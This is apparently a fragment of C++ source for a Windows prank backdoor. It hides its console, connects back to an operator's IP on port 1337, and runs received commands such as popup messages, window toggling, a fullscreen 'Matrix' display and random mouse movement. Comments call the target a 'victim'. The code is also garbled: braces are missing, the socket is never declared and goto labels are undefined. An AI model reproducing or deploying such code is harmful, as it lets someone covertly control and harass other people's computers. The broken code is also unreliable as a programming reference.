#undef  _WIN32_WINNT //For hiding/showing window
#define _WIN32_WINNT 0x0500
#include <windows.h> //Required for socket init
#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>

using namespace std;

//function declaration prototypes
void crazyMouse(BOOL cmProc);
void Matrix(BOOL pwnProc);
char procCmd(char buff[200], SOCKET * fSocket);
void PoP(char message[200]);

// static variables (Dont know why i did this)
static BOOL pwnProc = false;
static BOOL pop = false;

//pointer to socket
SOCKET * pSock;
//for matrix
HWND hWnd = GetConsoleWindow();

int main(){
    // First thing we want to do is make sure that our console is in-fucking-visible
ShowWindow( hWnd, SW_HIDE );

//Begin winsock chunk
char buf[256];
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0); //We want Winsock 2.0
int nret=WSAStartup(wsver, &wsdata); //Pass version 2.0 and pointer to implement
if(nret != 0){ //Init failed
/*A successful return value should be 0 */
std::cout<<"Startup failed, error code: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup Winsock library
return -1;
std::cout<<"Init success\n";
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
std::cout<<"Socket initialized\n";
sockaddr_in sin;

//****PORT HERE****
sin.sin_port=htons(1337); //Connect to port 1337
//****PORT HERE****

////////////***************IP HERE////////////***************
sin.sin_addr.s_addr=inet_addr(""); //Connect to this ip (Should be your ip, so the victim connects to you )
////////////***************IP HERE////////////***************

if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){ //Check the condition
std::cout<<"Connect failed, error: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup the library
return -1;
std::cout<<"Connection successful!\n";

//    ^^^^^^^^^^^^ The program will always come back here to re-receive and re-compare commands.
pSock = &kSock;
// |
// v
//Back down
while (recv(kSock, buf, sizeof(buf), 0)){  //while the command is received
procCmd(buf,pSock); //push the received command into the procCmd function to be compared with a command list

//Back up
goto REC;
return 0;

/////////////// BEGIN COMMAND LIST /////////////////

//the procCmd fucntion means ProcessCommand and is responsible for handling commands.
// If you are going to add new commands to this program you should start here.

char procCmd(char buff[200], SOCKET* fSocket){

     // needs to be reinit'd cuz of cross function
     SOCKET kSock = *fSocket;

/* This is where the magic happens, the received commands are compared to a hard coded list of commands. If it recognizes a command, it is sent to the appropriate function (or just executed if the code is small). I initially added in character return values so i could resend them back to the server (me) to verify if a command was executed or not. I  never got around to it , maybe you can?*/

     if (pop == true){   /*Pop is a special command because it displays a message box on the users screen. So the command pop would first need to written, which would make pop==true. Once it's true, it will be expecteing another sub-command for the actual contents of the messagebox, this is why the server-side code needed to deal with the pop command, so that it could prompt the user to input a sub command, i dont know why i did it this way.*/
                          pop = false;
                          return '1';
     if (strcmp(buff,"pop")==0){
                          pop = true;
                          return '1';
      if (strcmp(buff,"end")==0){
      if (strcmp(buff,"-")==0){
                          ShowWindow( hWnd, SW_HIDE );
                          return '1';
     if (strcmp(buff,"+")==0){
                          ShowWindow( hWnd, SW_SHOW );
                          return '1';
     if (strcmp(buff,"pwn")==0){
                          return '1';
      if (strcmp(buff,"unpwn")==0){
                          //clean up
                          ShowWindow( hWnd, SW_HIDE );
                          return '1';
      if (strcmp(buff,"crazymouse")==0){
                          return '1';
      if (strcmp(buff,"uncrazy")==0){ //not working
                          return '1';
                        return '0';

/////////////// BEGIN EXECUTABLE FUNCTIONS ////////////////////////////

// Pop up message - Grim
void PoP(char message[200]){

/* this thing is really cute, it puts the dialog box into full screen and displays a bunch of green random texts like the matrix. If you want to stop it manually just press alt+enter to get out of fullscreen then close it.*/

// Matrix , total annhilation - Grim
void Matrix(BOOL pwnProc){
if (pwnProc==true) {
       // make sure its visible
ShowWindow( hWnd, SW_SHOW );      
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
     for(int i = 0; i < 1; i++)
int num = (rand() % 10);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " \a";

for ( int j = 0; j < 5; j++)
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
goto START;
     //Crazy mouse - Grim
void crazyMouse(BOOL cmProc){
                  int x = rand()%1000;
                  int y = rand()%700;
                  SetCursorPos(x, y);
                          while (cmProc==true);